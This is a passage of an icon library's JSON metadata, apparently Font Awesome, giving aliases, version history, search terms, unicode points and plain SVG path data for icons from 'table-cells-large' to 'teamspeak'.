        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 64v64H64V96h88zm56 0h88v64H208V96zm240 0v64H360V96h88zM64 224h88v64H64V224zm232 0v64H208V224h88zm64 0h88v64H360V224zM152 352v64H64V352h88zm56 0h88v64H208V352zm240 0v64H360V352h88z"
      }
    },
    "free": ["solid"]
  },
  "table-cells-large": {
    "aliases": {
      "names": ["th-large"],
      "unicodes": {
        "secondary": ["10f009"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "boxes", "grid", "squares"]
    },
    "styles": ["solid"],
    "unicode": "f009",
    "label": "Table Cells Large",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 96V224H288V96H448zm0 192V416H288V288H448zM224 224H64V96H224V224zM64 288H224V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 96V224H288V96H448zm0 192V416H288V288H448zM224 224H64V96H224V224zM64 288H224V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["solid"]
  },
  "table-columns": {
    "aliases": {
      "names": ["columns"],
      "unicodes": {
        "secondary": ["10f0db"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["browser", "dashboard", "organize", "panes", "split"]
    },
    "styles": ["solid"],
    "unicode": "f0db",
    "label": "Table Columns",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 64V416H224V160H64zm384 0H288V416H448V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 64V416H224V160H64zm384 0H288V416H448V160z"
      }
    },
    "free": ["solid"]
  },
  "table-list": {
    "aliases": {
      "names": ["th-list"],
      "unicodes": {
        "secondary": ["10f00b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f00b",
    "label": "Table List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 0v64h64V96H64zm384 0H192v64H448V96zM64 224v64h64V224H64zm384 0H192v64H448V224zM64 352v64h64V352H64zm384 0H192v64H448V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm64 0v64h64V96H64zm384 0H192v64H448V96zM64 224v64h64V224H64zm384 0H192v64H448V224zM64 352v64h64V352H64zm384 0H192v64H448V352z"
      }
    },
    "free": ["solid"]
  },
  "table-tennis-paddle-ball": {
    "aliases": {
      "names": ["ping-pong-paddle-ball", "table-tennis"],
      "unicodes": {
        "composite": ["1f3d3"],
        "secondary": ["10f45d"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ball", "bat", "game", "paddle", "ping pong", "table tennis"]
    },
    "styles": ["solid"],
    "unicode": "f45d",
    "label": "Table Tennis Paddle Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 288c-50.1 0-93.6 28.8-114.6 70.8L132.9 126.3l.6-.6 60.1-60.1c87.5-87.5 229.3-87.5 316.8 0c67.1 67.1 82.7 166.3 46.8 248.3C535.8 297.6 509 288 480 288zM113.3 151.9L354.1 392.7c-1.4 7.5-2.1 15.3-2.1 23.3c0 23.2 6.2 44.9 16.9 63.7c-3 .2-6.1 .3-9.2 .3H357c-33.9 0-66.5-13.5-90.5-37.5l-9.8-9.8c-13.1-13.1-34.6-12.4-46.8 1.7L152.2 501c-5.8 6.7-14.2 10.7-23 11s-17.5-3.1-23.8-9.4l-32-32c-6.3-6.3-9.7-14.9-9.4-23.8s4.3-17.2 11-23l66.6-57.7c14-12.2 14.8-33.7 1.7-46.8l-9.8-9.8c-24-24-37.5-56.6-37.5-90.5v-2.7c0-22.8 6.1-44.9 17.3-64.3zM480 320a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 288c-50.1 0-93.6 28.8-114.6 70.8L132.9 126.3l.6-.6 60.1-60.1c87.5-87.5 229.3-87.5 316.8 0c67.1 67.1 82.7 166.3 46.8 248.3C535.8 297.6 509 288 480 288zM113.3 151.9L354.1 392.7c-1.4 7.5-2.1 15.3-2.1 23.3c0 23.2 6.2 44.9 16.9 63.7c-3 .2-6.1 .3-9.2 .3H357c-33.9 0-66.5-13.5-90.5-37.5l-9.8-9.8c-13.1-13.1-34.6-12.4-46.8 1.7L152.2 501c-5.8 6.7-14.2 10.7-23 11s-17.5-3.1-23.8-9.4l-32-32c-6.3-6.3-9.7-14.9-9.4-23.8s4.3-17.2 11-23l66.6-57.7c14-12.2 14.8-33.7 1.7-46.8l-9.8-9.8c-24-24-37.5-56.6-37.5-90.5v-2.7c0-22.8 6.1-44.9 17.3-64.3zM480 320a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "tablet": {
    "aliases": {
      "names": ["tablet-android"],
      "unicodes": {
        "secondary": ["10f3fb"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["device", "kindle", "screen"]
    },
    "styles": ["solid"],
    "unicode": "f3fb",
    "label": "Tablet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM176 432h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM176 432h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "tablet-button": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f10a"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["apple", "device", "ipad", "kindle", "screen"]
    },
    "styles": ["solid"],
    "unicode": "f10a",
    "label": "Tablet Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM224 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "tablet-screen-button": {
    "aliases": {
      "names": ["tablet-alt"],
      "unicodes": {
        "secondary": ["10f3fa"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["apple", "device", "ipad", "kindle", "screen"]
    },
    "styles": ["solid"],
    "unicode": "f3fa",
    "label": "Tablet Screen Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM256 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 64H64V384H384V64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM256 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 64H64V384H384V64z"
      }
    },
    "free": ["solid"]
  },
  "tablets": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f490"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medicine", "pills", "prescription"]
    },
    "styles": ["solid"],
    "unicode": "f490",
    "label": "Tablets",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M614.3 247c16.3-25 25.7-54.9 25.7-87C640 71.6 568.4 0 480 0c-32.1 0-61.9 9.4-87 25.7c-7.9 5.2-8.5 16.2-1.8 22.9L591.4 248.8c6.7 6.7 17.8 6.2 22.9-1.8zM567 294.3c7.9-5.2 8.5-16.2 1.8-22.9L368.6 71.2c-6.7-6.7-17.8-6.2-22.9 1.8c-16.3 25-25.7 54.9-25.7 87c0 88.4 71.6 160 160 160c32.1 0 61.9-9.4 87-25.7zM301.5 368H18.5c-9.5 0-16.9 8.2-15 17.5C18.9 457.8 83.1 512 160 512s141.1-54.2 156.5-126.5c2-9.3-5.5-17.5-15-17.5zm0-32c9.5 0 16.9-8.2 15-17.5C301.1 246.2 236.9 192 160 192S18.9 246.2 3.5 318.5c-2 9.3 5.5 17.5 15 17.5H301.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M614.3 247c16.3-25 25.7-54.9 25.7-87C640 71.6 568.4 0 480 0c-32.1 0-61.9 9.4-87 25.7c-7.9 5.2-8.5 16.2-1.8 22.9L591.4 248.8c6.7 6.7 17.8 6.2 22.9-1.8zM567 294.3c7.9-5.2 8.5-16.2 1.8-22.9L368.6 71.2c-6.7-6.7-17.8-6.2-22.9 1.8c-16.3 25-25.7 54.9-25.7 87c0 88.4 71.6 160 160 160c32.1 0 61.9-9.4 87-25.7zM301.5 368H18.5c-9.5 0-16.9 8.2-15 17.5C18.9 457.8 83.1 512 160 512s141.1-54.2 156.5-126.5c2-9.3-5.5-17.5-15-17.5zm0-32c9.5 0 16.9-8.2 15-17.5C301.1 246.2 236.9 192 160 192S18.9 246.2 3.5 318.5c-2 9.3 5.5 17.5 15 17.5H301.5z"
      }
    },
    "free": ["solid"]
  },
  "tachograph-digital": {
    "aliases": {
      "names": ["digital-tachograph"],
      "unicodes": {
        "secondary": ["10f566"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["data", "distance", "speed", "tachometer"]
    },
    "styles": ["solid"],
    "unicode": "f566",
    "label": "Tachograph Digital",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm32 64H320c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zM64 368c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm320 0c0-8.8 7.2-16 16-16H560c8.8 0 16 7.2 16 16s-7.2 16-16 16H400c-8.8 0-16-7.2-16-16zM80 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm32 64H320c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zM64 368c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm320 0c0-8.8 7.2-16 16-16H560c8.8 0 16 7.2 16 16s-7.2 16-16 16H400c-8.8 0-16-7.2-16-16zM80 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80-16a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "tag": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3f7"],
        "secondary": ["10f02b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["discount", "labe", "label", "price", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f02b",
    "label": "Tag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 80V229.5c0 17 6.7 33.3 18.7 45.3l176 176c25 25 65.5 25 90.5 0L418.7 317.3c25-25 25-65.5 0-90.5l-176-176c-12-12-28.3-18.7-45.3-18.7H48C21.5 32 0 53.5 0 80zm112 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 80V229.5c0 17 6.7 33.3 18.7 45.3l176 176c25 25 65.5 25 90.5 0L418.7 317.3c25-25 25-65.5 0-90.5l-176-176c-12-12-28.3-18.7-45.3-18.7H48C21.5 32 0 53.5 0 80zm112 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "tags": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f02c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["discount", "label", "price", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f02c",
    "label": "Tags",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M345 39.1L472.8 168.4c52.4 53 52.4 138.2 0 191.2L360.8 472.9c-9.3 9.4-24.5 9.5-33.9 .2s-9.5-24.5-.2-33.9L438.6 325.9c33.9-34.3 33.9-89.4 0-123.7L310.9 72.9c-9.3-9.4-9.2-24.6 .2-33.9s24.6-9.2 33.9 .2zM0 229.5V80C0 53.5 21.5 32 48 32H197.5c17 0 33.3 6.7 45.3 18.7l168 168c25 25 25 65.5 0 90.5L277.3 442.7c-25 25-65.5 25-90.5 0l-168-168C6.7 262.7 0 246.5 0 229.5zM144 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M345 39.1L472.8 168.4c52.4 53 52.4 138.2 0 191.2L360.8 472.9c-9.3 9.4-24.5 9.5-33.9 .2s-9.5-24.5-.2-33.9L438.6 325.9c33.9-34.3 33.9-89.4 0-123.7L310.9 72.9c-9.3-9.4-9.2-24.6 .2-33.9s24.6-9.2 33.9 .2zM0 229.5V80C0 53.5 21.5 32 48 32H197.5c17 0 33.3 6.7 45.3 18.7l168 168c25 25 25 65.5 0 90.5L277.3 442.7c-25 25-65.5 25-90.5 0l-168-168C6.7 262.7 0 246.5 0 229.5zM144 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "tape": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4db"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "package", "sticky"]
    },
    "styles": ["solid"],
    "unicode": "f4db",
    "label": "Tape",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M380.8 416c41.5-40.7 67.2-97.3 67.2-160C448 132.3 347.7 32 224 32S0 132.3 0 256S100.3 480 224 480H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H380.8zM224 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm64 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M380.8 416c41.5-40.7 67.2-97.3 67.2-160C448 132.3 347.7 32 224 32S0 132.3 0 256S100.3 480 224 480H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H380.8zM224 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm64 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "tarp": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protection", "tarp", "tent", "waterproof"]
    },
    "styles": ["solid"],
    "unicode": "e57b",
    "label": "Tarp",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 128c0-35.3-28.7-64-64-64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64l352 0 0-128c0-17.7 14.3-32 32-32H576V128zM448 448L576 320H448l0 128zM96 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M576 128c0-35.3-28.7-64-64-64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64l352 0 0-128c0-17.7 14.3-32 32-32H576V128zM448 448L576 320H448l0 128zM96 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "tarp-droplet": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protection", "tarp", "tent", "waterproof"]
    },
    "styles": ["solid"],
    "unicode": "e57c",
    "label": "Tarp Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 160c-35.3 0-64-26.9-64-60c0-24 33.7-70.1 52.2-93.5c6.1-7.7 17.5-7.7 23.6 0C318.3 29.9 352 76 352 100c0 33.1-28.7 60-64 60zM64 128H197.5c13.2 37.3 48.7 64 90.5 64s77.4-26.7 90.5-64H512c35.3 0 64 28.7 64 64V352H448c-17.7 0-32 14.3-32 32l0 128L64 512c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zM448 512l0-128H576L448 512zM96 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 160c-35.3 0-64-26.9-64-60c0-24 33.7-70.1 52.2-93.5c6.1-7.7 17.5-7.7 23.6 0C318.3 29.9 352 76 352 100c0 33.1-28.7 60-64 60zM64 128H197.5c13.2 37.3 48.7 64 90.5 64s77.4-26.7 90.5-64H512c35.3 0 64 28.7 64 64V352H448c-17.7 0-32 14.3-32 32l0 128L64 512c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zM448 512l0-128H576L448 512zM96 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "taxi": {
    "aliases": {
      "names": ["cab"],
      "unicodes": {
        "composite": ["1f696"],
        "secondary": ["10f1ba"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cab",
        "cabbie",
        "car",
        "car service",
        "lyft",
        "machine",
        "oncoming",
        "oncoming taxi",
        "taxi",
        "transportation",
        "travel",
        "uber",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ba",
    "label": "Taxi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 0c-17.7 0-32 14.3-32 32V64c0 .1 0 .1 0 .2c-38.6 2.2-72.3 27.3-85.2 64.1L39.6 228.8C16.4 238.4 0 261.3 0 288V432v48c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V432H416v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V432 288c0-26.7-16.4-49.6-39.6-59.2L437.2 128.3c-12.9-36.8-46.6-62-85.2-64.1c0-.1 0-.1 0-.2V32c0-17.7-14.3-32-32-32H192zM165.4 128H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 224H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zM96 288a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm288 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 0c-17.7 0-32 14.3-32 32V64c0 .1 0 .1 0 .2c-38.6 2.2-72.3 27.3-85.2 64.1L39.6 228.8C16.4 238.4 0 261.3 0 288V432v48c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V432H416v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V432 288c0-26.7-16.4-49.6-39.6-59.2L437.2 128.3c-12.9-36.8-46.6-62-85.2-64.1c0-.1 0-.1 0-.2V32c0-17.7-14.3-32-32-32H192zM165.4 128H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 224H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zM96 288a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm288 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "teamspeak": {
    "changes": ["5.0.11", "5.1.0", "5.8.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f9",
    "label": "Teamspeak",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1678906824,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M152.8 37.2c-32.2 38.1-56.1 82.6-69.9 130.5c0 .2-.1 .3-.1 .5C43.5 184.4 16 223 16 268c0 59.6 48.4 108 108 108s108-48.4 108-108c0-53.5-38.9-97.9-90-106.5c15.7-41.8 40.4-79.6 72.3-110.7c1.8-1.6 4-2.6 6.3-3.1c37.2-11.5 76.7-13.3 114.8-5.2C454.7 67.6 534 180.7 517.1 301.3c-8.4 62.6-38.6 112.7-87.7 151.4c-50.1 39.7-107.5 54.3-170.2 52.2l-24-1c12.4 2.8 25 4.9 37.6 6.3c40.7 4.2 81.4 2.1 120.1-12.5c94-35.5 149.3-102.3 162.9-202.5c4.8-52.6-5.8-105.4-30.8-152C454.6 11.3 290.8-38.4 159 32c-2.4 1.4-4.5 3.1-6.3 5.2zM309.4 433.9c-2.1 11.5-4.2 21.9-14.6 31.3c53.2-1 123.2-29.2 161.8-97.1c39.7-69.9 37.6-139.9-6.3-207.8C413.8 105 360.5 77.9 293.7 73.7c1.5 2.3 3.2 4.4 5.2 6.3l5.2 6.3c25.1 31.3 37.6 67.9 42.8 107.5c2.1 15.7-1 30.3-13.6 41.8c-4.2 3.1-5.2 6.3-4.2 10.4l7.3 17.7L365.7 318c5.2 11.5 4.2 19.8-6.3 28.2c-3.2 2.5-6.7 4.6-10.4 6.3l-18.8 8.4 3.1 13.6c3.1 6.3 1 12.5-3.1 17.7c-2.5 2.4-3.8 5.9-3.1 9.4c2.1 11.5-2.1 19.8-12.5 25.1c-2.1 1-4.2 5.2-5.2 7.3zm-133.6-3.1c16.7 11.5 34.5 20.9 53.2 26.1c24 5.2 41.8-6.3 44.9-30.3c1-8.4 5.2-14.6 12.5-17.7c7.3-4.2 8.4-7.3 2.1-13.6l-9.4-8.4 13.6-4.2c6.3-2.1 7.3-5.2 5.2-11.5c-1.4-3-2.4-6.2-3.1-9.4c-3.1-14.6-2.1-15.7 11.5-18.8c8.4-3.1 15.7-6.3 21.9-12.5c3.1-2.1 3.1-4.2 1-8.4l-16.7-30.3c-1-1.9-2.1-3.8-3.1-5.7c-6.4-11.7-13-23.6-15.7-37.1c-2.1-9.4-1-17.7 8.4-24c5.2-4.2 8.4-9.4 8.4-16.7c-.4-10.1-1.5-20.3-3.1-30.3c-6.3-37.6-23-68.9-51.2-95c-5.2-4.2-9.4-6.3-16.7-4.2L203.9 91.5c2 1.2 4 2.4 6 3.6l0 0c6.3 3.7 12.2 7.3 17 12.1c30.3 26.1 41.8 61.6 45.9 100.2c1 8.4 0 16.7-7.3 21.9c-8.4 5.2-10.4 12.5-7.3 20.9c4.9 13.2 10.4 26 16.7 38.6L291.6 318c-6.3 8.4-13.6 11.5-21.9 14.6c-12.5 3.1-14.6 7.3-10.4 20.9c.6 1.5 1.4 2.8 2.1 4.2c2.1 5.2 1 8.4-4.2 10.4l-12.5 3.1 5.2 4.2 4.2 4.2c4.2 5.2 4.2 8.4-2.1 10.4c-7.3 4.2-11.5 9.4-11.5 17.7c0 12.5-7.3 19.8-18.8 24c-3.8 1-7.6 1.5-11.5 1l-34.5-2.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
